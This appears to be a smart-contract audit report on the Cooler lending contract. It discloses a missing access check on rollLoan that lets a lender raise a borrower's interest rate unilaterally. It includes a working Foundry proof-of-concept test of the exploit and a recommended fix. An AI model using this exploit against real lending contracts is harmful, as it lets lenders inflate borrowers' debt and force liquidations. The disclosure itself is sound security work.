Shaggy Teal Blackbird

high

# Lender can increase loan interest at any time because of lack of access control
## Summary
The lender of a loan can increase the loan interest of the loan at any time without borrower's allowance. This increases the amount of debt tokens the borrower has to repay to get the collateral back.

## Vulnerability Detail
To modify the terms of a loan the lender can call the `provideNewTermsForRoll` function to provide the new varaibles then the owner has to call the `rollLoan` function to validate the changes.
However there is no check that only the owner can call `rollLoan`, this implies that the lender can provide new terms and validate the requests right away by calling `rollLoan` himself.

### Proof of Concept
Here is a test you can add to `Cooler.t.sol` to showcase how the lender can increase the interest rate of the loan at any time.
```solidity
function test_EPLOIT_lender_can_change_interest() public {
    // test inputs
    uint256 amount_ = 1000e18;
    bool directRepay = true;
    bool callbackRepay = false;
    // test setup
    cooler = _initCooler();
    (uint256 reqID, ) = _requestLoan(amount_);
    uint256 loanID = _clearLoan(reqID, amount_, directRepay, callbackRepay);

    uint256 initLoanDebt = cooler.getLoan(loanID).amount;
    uint256 initOwnerDebtBalance = debt.balanceOf(owner);
    console2.log("initLoanDebt =        ",initLoanDebt);         // initLoanDebt =         1000410958904109589000 // amount + interests
    console2.log("initOwnerDebtBalance =",initOwnerDebtBalance); // initOwnerDebtBalance = 1000000000000000000000

    // EXPLOIT STARTS HERE
    vm.startPrank(lender);
    cooler.provideNewTermsForRoll( // Lender provides new terms
        loanID,
        INTEREST_RATE * 100000,   // Increase interest rate
        LOAN_TO_COLLATERAL * 2, // Any amount larger than LOAN_TO_COLLATERAL
        1 days
    );
    cooler.rollLoan(loanID); // Lender rolls the loan himself
    vm.stopPrank();

    // Owner still has the same amount of tokens but the debt has increased
    uint256 endLoanDebt = cooler.getLoan(loanID).amount;
    uint256 endOwnerDebtBalance = debt.balanceOf(owner);
    console2.log("endLoanDebt =        ",endLoanDebt);         // endLoanDebt =         2370836930005629572944
    console2.log("endOwnerDebtBalance =",endOwnerDebtBalance); // endOwnerDebtBalance = 1000000000000000000000
    assertEq(endOwnerDebtBalance, initOwnerDebtBalance);
    assertGt(endLoanDebt, endOwnerDebtBalance);
}
```

## Impact
The lender can increase the interest rate of the loan at any time, which increases the debt of the owner. The owner will then have to repay more debt tokens than the amount given in order to get the collateral back. The owner may even be unable to provide enough debt tokens to cover the debt and be liquidated at the expiration of the loan.

## Code Snippet
https://github.com/ohmzeus/Cooler/blob/c6f2bbe1b51cdf3bb4d078875170177a1b8ba2a3/src/Cooler.sol#L192-L217

## Tool used

Manual Review

## Recommendation
One way to avoid this issue would be to add the right access control to the `rollLoan` function. Only the `Owner` and the `Clearinghouse` should be able to access it.
